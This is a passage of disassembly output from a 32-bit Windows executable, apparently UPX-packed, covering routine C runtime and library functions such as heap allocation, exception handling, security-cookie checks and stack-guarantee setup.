; ---------------------------------------------------------------------------
loc_40A8C0: ; CODE XREF: sub_40A866+54j
mov eax, [esi]
push edi
push dword_42E340
call dword_42E348
mov edi, eax
test edi, edi
jz short loc_40A8E7
push 8000h
push 0
push esi
call dword_41D0E4 ; VirtualFree
mov eax, edi
jmp short loc_40A903
; ---------------------------------------------------------------------------
loc_40A8E7: ; CODE XREF: sub_40A866+6Dj
lea edi, [esi+0FF0h]
loc_40A8ED: ; CODE XREF: sub_40A866+99j
push esi
push dword_42E340
call dword_42E344
add esi, 10h
cmp esi, edi
jb short loc_40A8ED
mov eax, esi
loc_40A903: ; CODE XREF: sub_40A866+7Fj
pop edi
loc_40A904: ; CODE XREF: sub_40A866+3Dj
pop esi
retn
sub_40A866 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40A906 proc near ; CODE XREF: sub_4018DB+9p
jmp sub_40A866
sub_40A906 endp
; =============== S U B R O U T I N E =======================================
sub_40A90B proc near ; CODE XREF: sub_40AA1C+Fp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jnz short loc_40A91A
loc_40A913: ; CODE XREF: sub_40A90B+12j
mov eax, 80070057h
jmp short locret_40A92B
; ---------------------------------------------------------------------------
loc_40A91A: ; CODE XREF: sub_40A90B+6j
cmp dword ptr [eax], 2Ch
jnz short loc_40A913
and dword ptr [eax+1Ch], 0
lea ecx, [eax+4]
call sub_401154
locret_40A92B: ; CODE XREF: sub_40A90B+Dj
retn 4
sub_40A90B endp
; =============== S U B R O U T I N E =======================================
sub_40A92E proc near ; CODE XREF: sub_40A98C+47p
; UPX0:0040AA17j ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40A941
push eax
call sub_40ADC8
and dword ptr [esi], 0
pop ecx
loc_40A941: ; CODE XREF: sub_40A92E+7j
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
pop esi
retn
sub_40A92E endp
; =============== S U B R O U T I N E =======================================
sub_40A94B proc near ; CODE XREF: sub_40A98C+2Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_40A960
cmp eax, [ecx+4]
jge short loc_40A960
mov ecx, [ecx]
lea eax, [ecx+eax*2]
retn 4
; ---------------------------------------------------------------------------
loc_40A960: ; CODE XREF: sub_40A94B+6j
; sub_40A94B+Bj
push 0
push 0
push 1
push 0C000008Ch
call dword_41D1DC ; RaiseException
int 3 ; Trap to Debugger
loc_40A972: ; CODE XREF: sub_40AA1C+3p
push esi
mov esi, ecx
lea ecx, [esi+4]
call sub_401144
xor eax, eax
mov [esi+20h], eax
mov [esi+24h], eax
mov [esi+28h], eax
mov eax, esi
pop esi
retn
sub_40A94B endp
; =============== S U B R O U T I N E =======================================
sub_40A98C proc near ; CODE XREF: UPX0:0040AAFBp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_40A99C
loc_40A995: ; CODE XREF: sub_40A98C+19j
mov eax, 80070057h
jmp short loc_40A9E8
; ---------------------------------------------------------------------------
loc_40A99C: ; CODE XREF: sub_40A98C+7j
mov eax, [esi]
test eax, eax
jz short loc_40A9E6
cmp eax, 2Ch
jnz short loc_40A995
push edi
xor edi, edi
cmp [esi+24h], edi
jle short loc_40A9D0
push ebx
lea ebx, [esi+20h]
loc_40A9B3: ; CODE XREF: sub_40A98C+41j
push edi
mov ecx, ebx
call sub_40A94B
movzx eax, word ptr [eax]
push [esp+0Ch+arg_4]
push eax
call dword_41D2E0 ; UnregisterClassA
inc edi
cmp edi, [esi+24h]
jl short loc_40A9B3
pop ebx
loc_40A9D0: ; CODE XREF: sub_40A98C+21j
lea ecx, [esi+20h]
call sub_40A92E
lea eax, [esi+4]
push eax
call dword_41D1C8 ; RtlDeleteCriticalSection
and dword ptr [esi], 0
pop edi
loc_40A9E6: ; CODE XREF: sub_40A98C+14j
xor eax, eax
loc_40A9E8: ; CODE XREF: sub_40A98C+Ej
pop esi
retn 8
sub_40A98C endp
; =============== S U B R O U T I N E =======================================
sub_40A9EC proc near ; CODE XREF: sub_40AA42+18p
push esi
mov esi, ecx
lea ecx, [esi+18h]
call sub_401144
xor eax, eax
mov [esi+30h], eax
mov [esi+34h], eax
mov [esi+38h], eax
mov eax, esi
pop esi
retn
sub_40A9EC endp
; ---------------------------------------------------------------------------
loc_40AA06: ; CODE XREF: UPX0:0041C8B2j
push esi
mov esi, ecx
lea eax, [esi+18h]
push eax
call dword_41D1C8 ; RtlDeleteCriticalSection
lea ecx, [esi+30h]
pop esi
jmp sub_40A92E
; =============== S U B R O U T I N E =======================================
sub_40AA1C proc near ; CODE XREF: UPX0:0041C865p
push esi
mov esi, ecx
call loc_40A972
push esi
mov dword ptr [esi], 2Ch
call sub_40A90B
test eax, eax
jge short loc_40AA3E
mov byte_42EE8C, 1
and dword ptr [esi], 0
loc_40AA3E: ; CODE XREF: sub_40AA1C+16j
mov eax, esi
pop esi
retn
sub_40AA1C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=78h
sub_40AA42 proc near ; CODE XREF: UPX0:0041C84Fp
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_88 = dword ptr -88h
var_4 = dword ptr -4
push ebp
lea ebp, [esp-78h]
sub esp, 98h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+78h+var_4], eax
push esi
mov esi, ecx
call sub_40A9EC
mov eax, 400000h
push 94h
mov [esi+8], eax
mov [esi+4], eax
lea eax, [ebp+78h+var_98]
push 0
push eax
mov dword ptr [esi], 3Ch
mov byte ptr [esi+0Ch], 0
call sub_40BD40
add esp, 0Ch
lea eax, [ebp+78h+var_98]
push eax
mov [ebp+78h+var_98], 94h
call dword_41D0C4 ; GetVersionExA
cmp [ebp+78h+var_88], 2
jnz short loc_40AAA6
cmp [ebp+78h+var_94], 5
jb short loc_40AABE
jmp short loc_40AABA
; ---------------------------------------------------------------------------
loc_40AAA6: ; CODE XREF: sub_40AA42+5Aj
cmp [ebp+78h+var_88], 1
jnz short loc_40AABE
cmp [ebp+78h+var_94], 4
ja short loc_40AABA
jnz short loc_40AABE
cmp [ebp+78h+var_90], 0
jbe short loc_40AABE
loc_40AABA: ; CODE XREF: sub_40AA42+62j
; sub_40AA42+6Ej
mov byte ptr [esi+0Ch], 1
loc_40AABE: ; CODE XREF: sub_40AA42+60j
; sub_40AA42+68j ...
lea ecx, [esi+18h]
mov dword ptr [esi+10h], 800h
mov dword ptr [esi+14h], offset dword_41D4B8
call sub_401154
test eax, eax
jge short loc_40AADF
mov byte_42EE8C, 1
loc_40AADF: ; CODE XREF: sub_40AA42+94j
mov ecx, [ebp+78h+var_4]
mov eax, esi
xor ecx, ebp
pop esi
call sub_40AC1C
add ebp, 78h
leave
retn
sub_40AA42 endp
; ---------------------------------------------------------------------------
loc_40AAF1: ; CODE XREF: UPX0:0041C8BCj
push esi
push dword_42E350
mov esi, ecx
push esi
call sub_40A98C
lea ecx, [esi+20h]
pop esi
jmp sub_40A92E
; ---------------------------------------------------------------------------
loc_40AB09: ; CODE XREF: UPX0:0041C8C6j
push esi
mov esi, ecx
cmp dword ptr [esi], 0
jz short loc_40AB49
push ebx
mov ebx, [esi+8]
cmp ebx, [esi+0Ch]
jnb short loc_40AB3B
push edi
loc_40AB1B: ; CODE XREF: UPX0:0040AB38j
mov edi, [ebx]
test edi, edi
jz short loc_40AB32
mov eax, [edi+10h]
test eax, eax
jz short loc_40AB2E
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_40AB2E: ; CODE XREF: UPX0:0040AB26j
and dword ptr [edi+10h], 0
loc_40AB32: ; CODE XREF: UPX0:0040AB1Fj
add ebx, 4
cmp ebx, [esi+0Ch]
jb short loc_40AB1B
pop edi
loc_40AB3B: ; CODE XREF: UPX0:0040AB18j
lea eax, [esi+10h]
push eax
call dword_41D1C8 ; RtlDeleteCriticalSection
and dword ptr [esi], 0
pop ebx
loc_40AB49: ; CODE XREF: UPX0:0040AB0Fj
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40AB4B proc near ; CODE XREF: UPX0:0041C87Bp
push esi
mov esi, ecx
push edi
lea edi, [esi+10h]
mov ecx, edi
call sub_401144
and dword ptr [esi], 0
mov ecx, edi
mov dword ptr [esi+4], 400000h
mov dword ptr [esi+8], offset dword_427CF8
mov dword ptr [esi+0Ch], offset dword_427CF8
call sub_401154
test eax, eax
jge short loc_40AB85
mov byte_42EE8C, 1
jmp short loc_40AB8B
; ---------------------------------------------------------------------------
loc_40AB85: ; CODE XREF: sub_40AB4B+2Fj
mov dword ptr [esi], 28h
loc_40AB8B: ; CODE XREF: sub_40AB4B+38j
pop edi
mov eax, esi
pop esi
retn
sub_40AB4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AB90 proc near ; CODE XREF: sub_41889D+121p
jmp dword_41D24C
sub_40AB90 endp
; =============== S U B R O U T I N E =======================================
sub_40AB96 proc near ; CODE XREF: sub_405A92+Dp
; sub_4060AE+Bp ...
push 44h
mov eax, offset loc_41BED4
call sub_40C46D
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-28h]
call sub_405138
and dword ptr [ebp-4], 0
lea eax, [ebp-28h]
push eax
lea ecx, [ebp-50h]
call sub_404A7D
push offset dword_426E48
lea eax, [ebp-50h]
push eax
call sub_40C03B
int 3 ; Trap to Debugger
sub_40AB96 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40ABCE proc near ; CODE XREF: sub_405446+13p
; sub_405A07+Fp ...
push 44h
mov eax, offset loc_41BED4
call sub_40C46D
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-28h]
call sub_405138
and dword ptr [ebp-4], 0
lea eax, [ebp-28h]
push eax
lea ecx, [ebp-50h]
call sub_404AC2
push offset dword_426E0C
lea eax, [ebp-50h]
push eax
call sub_40C03B
int 3 ; Trap to Debugger
sub_40ABCE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC06 proc near ; CODE XREF: sub_4019F2+5Ap
; sub_406CDA+37p ...
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp sub_40B45F
sub_40AC06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC11 proc near ; CODE XREF: UPX0:004049BDp
; UPX0:00404A71p ...
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp sub_40ADC8
sub_40AC11 endp
; =============== S U B R O U T I N E =======================================
sub_40AC1C proc near ; CODE XREF: sub_40120D+4Ap
; sub_4016D2+188p ...
cmp ecx, dword_42A034
jnz short loc_40AC26
rep retn
; ---------------------------------------------------------------------------
loc_40AC26: ; CODE XREF: sub_40AC1C+6j
jmp sub_40C52F
sub_40AC1C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC2B proc near ; CODE XREF: sub_406DD8+F3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
mov edi, edi
push ebp
mov ebp, esp
lea eax, [ebp+arg_C]
push eax
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40C9A3
add esp, 14h
pop ebp
retn
sub_40AC2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC49 proc near ; CODE XREF: sub_4049E5+Fp
; sub_4064F7+60p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_C]
push esi
push edi
xor edi, edi
cmp eax, edi
jz short loc_40ACA0
cmp [ebp+arg_0], edi
jnz short loc_40AC79
loc_40AC5E: ; CODE XREF: sub_40AC49+33j
call sub_40C862
push 16h
pop esi
mov [eax], esi
loc_40AC68: ; CODE XREF: sub_40AC49+46j
push edi
push edi
push edi
push edi
push edi
call sub_40B255
add esp, 14h
mov eax, esi
jmp short loc_40ACA2
; ---------------------------------------------------------------------------
loc_40AC79: ; CODE XREF: sub_40AC49+13j
cmp [ebp+arg_8], edi
jz short loc_40AC5E
cmp [ebp+arg_4], eax
jnb short loc_40AC91
call sub_40C862
push 22h
pop ecx
mov [eax], ecx
mov esi, ecx
jmp short loc_40AC68
; ---------------------------------------------------------------------------
loc_40AC91: ; CODE XREF: sub_40AC49+38j
push eax
push [ebp+arg_8]
push [ebp+arg_0]
call sub_40CA30
add esp, 0Ch
loc_40ACA0: ; CODE XREF: sub_40AC49+Ej
xor eax, eax
loc_40ACA2: ; CODE XREF: sub_40AC49+2Ej
pop edi
pop esi
pop ebp
retn
sub_40AC49 endp
; =============== S U B R O U T I N E =======================================
sub_40ACA6 proc near ; CODE XREF: sub_404A01+11p
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax+8], 0
mov dword ptr [eax], offset off_41D534
retn
sub_40ACA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ACB7 proc near ; CODE XREF: sub_40668D+2Fp
; sub_406FCF+2Fp ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
mov dword ptr [edi], offset off_41D534
mov eax, [ebx]
test eax, eax
jz short loc_40ACF6
push eax
call sub_40BFB0
mov esi, eax
inc esi
push esi
call sub_40AEA5
pop ecx
pop ecx
mov [edi+4], eax
test eax, eax
jz short loc_40ACFA
push dword ptr [ebx]
push esi
push eax
call sub_40CD95
add esp, 0Ch
jmp short loc_40ACFA
; ---------------------------------------------------------------------------
loc_40ACF6: ; CODE XREF: sub_40ACB7+17j
and dword ptr [edi+4], 0
loc_40ACFA: ; CODE XREF: sub_40ACB7+2Fj
; sub_40ACB7+3Dj
mov dword ptr [edi+8], 1
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 4
sub_40ACB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AD0A proc near ; CODE XREF: sub_40B444+Cp
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, ecx
mov ecx, [ebp+arg_0]
mov dword ptr [eax], offset off_41D534
mov ecx, [ecx]
and dword ptr [eax+8], 0
mov [eax+4], ecx
pop ebp
retn 8
sub_40AD0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AD27 proc near ; CODE XREF: sub_404B1F+15p
; sub_407019+7p ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
mov esi, ecx
mov dword ptr [esi], offset off_41D534
mov eax, [ebx+8]
mov [esi+8], eax
test eax, eax
mov eax, [ebx+4]
push edi
jz short loc_40AD78
test eax, eax
jz short loc_40AD72
push eax
call sub_40BFB0
mov edi, eax
inc edi
push edi
call sub_40AEA5
pop ecx
pop ecx
mov [esi+4], eax
test eax, eax
jz short loc_40AD7B
push dword ptr [ebx+4]
push edi
push eax
call sub_40CD95
add esp, 0Ch
jmp short loc_40AD7B
; ---------------------------------------------------------------------------
loc_40AD72: ; CODE XREF: sub_40AD27+22j
and dword ptr [esi+4], 0
jmp short loc_40AD7B
; ---------------------------------------------------------------------------
loc_40AD78: ; CODE XREF: sub_40AD27+1Ej
mov [esi+4], eax
loc_40AD7B: ; CODE XREF: sub_40AD27+3Aj
; sub_40AD27+49j ...
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
retn 4
sub_40AD27 endp
; =============== S U B R O U T I N E =======================================
sub_40AD84 proc near ; CODE XREF: sub_40499C+6j
; UPX0:004049B0p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_41D534
jz short locret_40AD99
push dword ptr [ecx+4]
call sub_40ADC8
pop ecx
locret_40AD99: ; CODE XREF: sub_40AD84+Aj
retn
sub_40AD84 endp
; =============== S U B R O U T I N E =======================================
sub_40AD9A proc near ; DATA XREF: UPX0:0041D4E0o
; UPX0:0041D538o ...
mov eax, [ecx+4]
test eax, eax
jnz short locret_40ADA6
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_40ADA6: ; CODE XREF: sub_40AD9A+5j
retn
sub_40AD9A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ADA7 proc near ; DATA XREF: UPX0:off_41D534o
arg_0 = byte ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
call sub_40AD84
test [ebp+arg_0], 1
jz short loc_40ADC1
push esi
call sub_40AC11
pop ecx
loc_40ADC1: ; CODE XREF: sub_40ADA7+11j
mov eax, esi
pop esi
pop ebp
retn 4
sub_40ADA7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ADC8 proc near ; CODE XREF: sub_401000+14p
; sub_401304+102p ...
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 0040AE27 SIZE 0000002F BYTES
push 0Ch
push offset dword_4267D8
call __SEH_prolog4
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_40AE50
cmp dword_430290, 3
jnz short loc_40AE27
push 4
call sub_40CFA9
pop ecx
and [ebp+ms_exc.disabled], 0
push esi
call sub_40CFDC
pop ecx
mov [ebp+var_1C], eax
test eax, eax
jz short loc_40AE07
push esi
push eax
call sub_40D00C
pop ecx
pop ecx
loc_40AE07: ; CODE XREF: sub_40ADC8+34j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40AE1E
cmp [ebp+var_1C], 0
jnz short loc_40AE50
push [ebp+arg_0]
jmp short loc_40AE28
sub_40ADC8 endp
; =============== S U B R O U T I N E =======================================
sub_40AE1E proc near ; CODE XREF: sub_40ADC8+46p
; DATA XREF: UPX0:004267F0o
push 4
call sub_40CECF
pop ecx
retn
sub_40AE1E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40ADC8
loc_40AE27: ; CODE XREF: sub_40ADC8+1Aj
push esi
loc_40AE28: ; CODE XREF: sub_40ADC8+54j
push 0
push dword_42E724
call dword_41D0CC ; RtlFreeHeap
test eax, eax
jnz short loc_40AE50
call sub_40C862
mov esi, eax
call dword_41D1D8 ; RtlGetLastWin32Error
push eax
call sub_40C820
mov [esi], eax
pop ecx
loc_40AE50: ; CODE XREF: sub_40ADC8+11j
; sub_40ADC8+4Fj ...
call __SEH_epilog4
retn
; END OF FUNCTION CHUNK FOR sub_40ADC8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE56 proc near ; CODE XREF: sub_40AEA5+59p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 0Ch
push offset dword_4267F8
call __SEH_prolog4
and [ebp+var_1C], 0
mov esi, [ebp+arg_0]
cmp esi, dword_430280
ja short loc_40AE93
push 4
call sub_40CFA9
pop ecx
and [ebp+ms_exc.disabled], 0
push esi
call sub_40D7BB
pop ecx
mov [ebp+var_1C], eax
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40AE9C
loc_40AE93: ; CODE XREF: sub_40AE56+19j
mov eax, [ebp+var_1C]
call __SEH_epilog4
retn
sub_40AE56 endp
; =============== S U B R O U T I N E =======================================
sub_40AE9C proc near ; CODE XREF: sub_40AE56+38p
; DATA XREF: UPX0:00426810o
push 4
call sub_40CECF
pop ecx
retn
sub_40AE9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AEA5 proc near ; CODE XREF: sub_401304+8Ap
; sub_40A495+4p ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
cmp esi, 0FFFFFFE0h
ja loc_40AF58
push ebx
push edi
mov edi, dword_41D0D4
loc_40AEBF: ; CODE XREF: sub_40AEA5+9Aj
cmp dword_42E724, 0
jnz short loc_40AEE0
call sub_40DF83
push 1Eh
call sub_40DDD8
push 0FFh
call sub_40DB24
pop ecx
pop ecx
loc_40AEE0: ; CODE XREF: sub_40AEA5+21j
mov eax, dword_430290
cmp eax, 1
jnz short loc_40AEF8
test esi, esi
jz short loc_40AEF2
mov eax, esi
jmp short loc_40AEF5
; ---------------------------------------------------------------------------
loc_40AEF2: ; CODE XREF: sub_40AEA5+47j
xor eax, eax
inc eax
loc_40AEF5: ; CODE XREF: sub_40AEA5+4Bj
push eax
jmp short loc_40AF14
; ---------------------------------------------------------------------------
loc_40AEF8: ; CODE XREF: sub_40AEA5+43j
cmp eax, 3
jnz short loc_40AF08
push esi
call sub_40AE56
pop ecx
test eax, eax
jnz short loc_40AF1E
loc_40AF08: ; CODE XREF: sub_40AEA5+56j
test esi, esi
jnz short loc_40AF0D
inc esi
loc_40AF0D: ; CODE XREF: sub_40AEA5+65j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
loc_40AF14: ; CODE XREF: sub_40AEA5+51j
push 0
push dword_42E724
call edi ; dword_41D0D4
loc_40AF1E: ; CODE XREF: sub_40AEA5+61j
mov ebx, eax
test ebx, ebx
jnz short loc_40AF52
push 0Ch
pop esi
cmp dword_42EBC8, eax
jz short loc_40AF44
push [ebp+arg_0]
call sub_40DFCB
pop ecx
test eax, eax
jz short loc_40AF4B
mov esi, [ebp+arg_0]
jmp loc_40AEBF
; ---------------------------------------------------------------------------
loc_40AF44: ; CODE XREF: sub_40AEA5+88j
call sub_40C862
mov [eax], esi
loc_40AF4B: ; CODE XREF: sub_40AEA5+95j
call sub_40C862
mov [eax], esi
loc_40AF52: ; CODE XREF: sub_40AEA5+7Dj
pop edi
mov eax, ebx
pop ebx
jmp short loc_40AF6C
; ---------------------------------------------------------------------------
loc_40AF58: ; CODE XREF: sub_40AEA5+Cj
push esi
call sub_40DFCB
pop ecx
call sub_40C862
mov dword ptr [eax], 0Ch
xor eax, eax
loc_40AF6C: ; CODE XREF: sub_40AEA5+B1j
pop esi
pop ebp
retn
sub_40AEA5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF6F proc near ; CODE XREF: sub_401040+54p
var_54 = byte ptr -54h
var_50 = dword ptr -50h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
mov edi, edi
push ebp
mov ebp, esp
sub esp, 54h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
push ebx
push esi
push edi
push 4
pop eax
call sub_40E000
mov [ebp+var_C], esp
push 1Ch
lea eax, [ebp+var_30]
push eax
push [ebp+var_C]
call dword_41D1B8 ; VirtualQuery
test eax, eax
jz loc_40B049
mov eax, [ebp+var_2C]
mov [ebp+var_10], eax
lea eax, [ebp+var_54]
push eax
call dword_41D1E4 ; GetSystemInfo
mov edi, [ebp+var_50]
push offset aKernel32_dll ; "kernel32.dll"
xor esi, esi
call dword_41D078 ; GetModuleHandleW
cmp eax, esi
jz short loc_40AFF1
push offset aSetthreadstack ; "SetThreadStackGuarantee"
push eax
call dword_41D0D8 ; GetProcAddress
cmp eax, esi
jz short loc_40AFF1
lea ecx, [ebp+var_8]
push ecx
mov [ebp+var_8], esi
call eax
pop ecx
cmp eax, 1
jnz short loc_40AFF1
cmp [ebp+var_8], esi
jbe short loc_40AFF1
mov esi, [ebp+var_8]
loc_40AFF1: ; CODE XREF: sub_40AF6F+59j
; sub_40AF6F+69j ...
lea eax, [edi-1]
lea ebx, [esi+edi-1]
not eax
and ebx, eax
jz short loc_40B000
add ebx, edi
loc_40B000: ; CODE XREF: sub_40AF6F+8Dj
lea eax, [edi+edi]
cmp ebx, eax
jnb short loc_40B009
mov ebx, eax
loc_40B009: ; CODE XREF: sub_40AF6F+96j
mov eax, [ebp+var_10]
lea esi, [edi-1]
not esi
and esi, [ebp+var_C]
add edi, eax
sub esi, ebx
cmp esi, edi
jb short loc_40B049
push 4
push 1000h
push ebx
push esi
call dword_41D0E8 ; VirtualAlloc
test eax, eax
jz short loc_40B049
lea eax, [ebp+var_14]
push eax
push 104h
push ebx
push esi
call dword_41D1E8 ; VirtualProtect
test eax, eax
jz short loc_40B049
xor eax, eax
inc eax
jmp short loc_40B04B
; ---------------------------------------------------------------------------
loc_40B049: ; CODE XREF: sub_40AF6F+31j
; sub_40AF6F+ABj ...
xor eax, eax
loc_40B04B: ; CODE XREF: sub_40AF6F+D8j
lea esp, [ebp-60h]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_4]
xor ecx, ebp
call sub_40AC1C
leave
retn
sub_40AF6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B05D proc near ; CODE XREF: sub_40B106+12p
; sub_40B353+12p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push 14h
push offset dword_426818
call __SEH_prolog4
and [ebp+ms_exc.disabled], 0
loc_40B06D: ; CODE XREF: sub_40B05D+21j
dec [ebp+arg_8]
js short loc_40B0AC
mov ecx, [ebp+arg_0]
sub ecx, [ebp+arg_4]
mov [ebp+arg_0], ecx
call [ebp+arg_C]
jmp short loc_40B06D
; ---------------------------------------------------------------------------
mov eax, [ebp+ms_exc.exc_ptr]
mov [ebp+var_1C], eax
mov eax, [ebp+var_1C]
mov eax, [eax]
mov [ebp+var_20], eax
mov eax, [ebp+var_20]
cmp dword ptr [eax], 0E06D7363h
jz short loc_40B0A4
mov [ebp+var_24], 0
mov eax, [ebp+var_24]
retn
; ---------------------------------------------------------------------------
loc_40B0A4: ; CODE XREF: sub_40B05D+3Aj
call sub_40E02B
mov esp, [ebp+ms_exc.old_esp]
loc_40B0AC: ; CODE XREF: sub_40B05D+13j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call __SEH_epilog4
retn 10h
sub_40B05D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B0BB proc near ; CODE XREF: sub_401B6E+2Fp
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push 0Ch
push offset dword_426838
call __SEH_prolog4
and [ebp+var_1C], 0
mov esi, [ebp+arg_4]
mov eax, esi
imul eax, [ebp+arg_8]
add [ebp+arg_0], eax
and [ebp+ms_exc.disabled], 0
loc_40B0DB: ; CODE XREF: sub_40B0BB+2Ej
dec [ebp+arg_8]
js short loc_40B0EB
sub [ebp+arg_0], esi
mov ecx, [ebp+arg_0]
call [ebp+arg_C]
jmp short loc_40B0DB
; ---------------------------------------------------------------------------
loc_40B0EB: ; CODE XREF: sub_40B0BB+23j
mov [ebp+var_1C], 1
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40B106
call __SEH_epilog4
retn 10h
sub_40B0BB endp
; =============== S U B R O U T I N E =======================================
sub_40B106 proc near ; CODE XREF: sub_40B0BB+3Ep
; DATA XREF: UPX0:00426850o
cmp dword ptr [ebp-1Ch], 0
jnz short locret_40B11D
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40B05D
locret_40B11D: ; CODE XREF: sub_40B106+4j
retn
sub_40B106 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B11E proc near ; CODE XREF: sub_40DD8A+17p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword_42E3DC, eax
pop ebp
retn
sub_40B11E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B12D proc near ; CODE XREF: sub_40B255+21j
; sub_40DDD8+87p ...
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_31C = dword ptr -31Ch
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_244 = word ptr -244h
var_240 = word ptr -240h
var_23C = word ptr -23Ch
var_238 = word ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = word ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = word ptr -208h
var_4 = dword ptr -4
mov edi, edi
push ebp
mov ebp, esp
sub esp, 328h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
and [ebp+var_328], 0
push ebx
push 4Ch
lea eax, [ebp+var_324]
push 0
push eax
call sub_40BD40
lea eax, [ebp+var_328]
mov [ebp+var_2D8], eax
lea eax, [ebp+var_2D0]
add esp, 0Ch
mov [ebp+var_2D4], eax
mov [ebp+var_220], eax
mov [ebp+var_224], ecx
mov [ebp+var_228], edx
mov [ebp+var_22C], ebx
mov [ebp+var_230], esi
mov [ebp+var_234], edi
mov [ebp+var_208], ss
mov [ebp+var_214], cs
mov [ebp+var_238], ds
mov [ebp+var_23C], es
mov [ebp+var_240], fs
mov [ebp+var_244], gs
pushf
pop [ebp+var_210]
mov eax, [ebp+4]
lea ecx, [ebp+4]
mov [ebp+var_2D0], 10001h
mov [ebp+var_218], eax
mov [ebp+var_20C], ecx
mov ecx, [ecx-4]
mov [ebp+var_21C], ecx
mov [ebp+var_328], 0C0000417h
